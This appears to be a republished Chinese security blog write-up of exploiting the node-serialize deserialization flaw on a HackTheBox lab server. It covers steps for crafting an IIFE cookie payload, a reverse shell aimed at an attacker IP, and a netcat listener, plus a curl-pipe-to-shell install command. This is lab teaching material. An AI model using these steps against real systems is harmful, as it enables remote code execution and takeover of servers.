技术讨论 | 记一次Node.Js反序列化攻击测试
source link: http://www.freebuf.com/news/180882.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
严正声明:本文仅限于技术讨论,严禁用于其他用途。
Node.js是一个Javascript运行时环境。它封装了GoogleV8引擎,该引擎可以高效地执行Javascript。另外,Node.js还进行了一些优化并提供了替代API,这使得Google V8引擎能够在非浏览器环境中更有效地运行。
但是Node.js的序列化过程中仍然存在远程代码执行漏洞。具体来说,是Node.js 的 node-serialize 库存在漏洞。通过传输JavaScript立即执行函数表达式(IIFE),攻击者可以利用恶意代码(不受信任的数据)在反序列化中远程执行任意代码。
漏洞演示环境
靶机: Hackthebox 节点服务器(10.10.10.85:3000)
攻击机: Kali Linux
所需工具/包: nodejs 、 npm 、 nodejs toolkit 、 node-serialize
关于漏洞(反序列化攻击)
不受信任的数据被传递到unserialize()函数,使得我们可以利用JavaScript对象的立即执行函数表达式(也就是IIFE)来执行任意代码。
第一步,通过apt-get命令“apt-get install nodejs”安装nodejs包,如下图所示:
第二步,使用curl命令“curl -L https://www.npmjs.com/install.sh | sh”安装npm实用程序(用于安装node-serialize包),如下图所示:
在安装和配置好了nodejs和npm之后,我们就可以通过npm来安装node-serialize包了,键入命令“npm install node-serialize”,如下图所示:
另一方面,我们已经与HacktheBox服务器建立了连接,其存在漏洞的节点服务器的IP为10.10.10.85:3000(节点服务器上运行着nodejs express 框架,可以通过nmap来确认)。
第一步,我们需要在最受欢迎的代理拦截工具之一(即Burp Suite)的帮助下捕获上述易受攻击的IP所发出的GET请求,如下图所示:
第二步,选择cookie值并将其发送到Decoder模块进行解密。
这个易受攻击的Web应用程序的漏洞在于,它从HTTP请求的cookie中读取profile的值,执行base64解码后传递给unserialize()函数。由于cookie是不可信的输入,攻击者可以通过精心构建的恶意cookie值来利用这个漏洞。
第三步,我们需要下载由 Ajin Abraham 开发的 nodejs securitytoolkit ,他是最受欢迎的移动安全专家之一。
要安装Nodejs Security Toolkit,需要在终端中键入命令“git clone https://github.com/ajinabraham/Node.Js-Security-Course.git ”。
导航到下载的文件夹,并执行以下命令来创建反向shell payload,这个payload会把JavaScript代码当成字符串来执行。
首先,我们需要通过键入“ ifconfig ”来找到自己的IP地址 ,然后执行命令“python nodejsshell.py 10.10.14.145 4443”。
下图就是最终的反向shell payload:
现在,让我们使用下面的JavaScript代码来生成序列化的payload。
var y = { rce : function() {} } var serialize = require(‘node-serialize’); console.log(“Serialized: \n” + serialize.serialize(y));
将上面生成的payload添加到{eval(String.from ……… })中,如下图所示:
将文件另存为exploit.js并使用node命令“node exploit.js”执行,将生成最终序列化的payload,如下图所示:
现在回到Burp Suite并导航到Decoder模块,将上图中的代码粘贴到Textarea中解码成字符串。解码之前,在函数体后面加上 IIFE圆括号 ():
在这里,我们需要对字符串进行base64编码,然后在Cookie标头值中使用经编码的payload向web服务器发出请求。
现在向10.10.10.85:3000发出请求,我们需要向Repeater 模块发出相同的请求。
在Repeater模块中,我们需要将cookie值替换为我们在上面生成的base64编码值,然后单击“GO”按钮。
同时,使用命令“nc -lvp 4443”确保netcat服务正在监听相同的端口,即4443(反向shell payload的端口)。
一旦你点击了“GO”按钮,服务器就将接收到请求,显示“200 OK”响应码以及一条错误消息“An error occurred…invalid username type”。在netcat终端中,你会看到你已经与服务器建立了连接,状态为“Connected”。如此一来,你就可以执行任意代码了。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK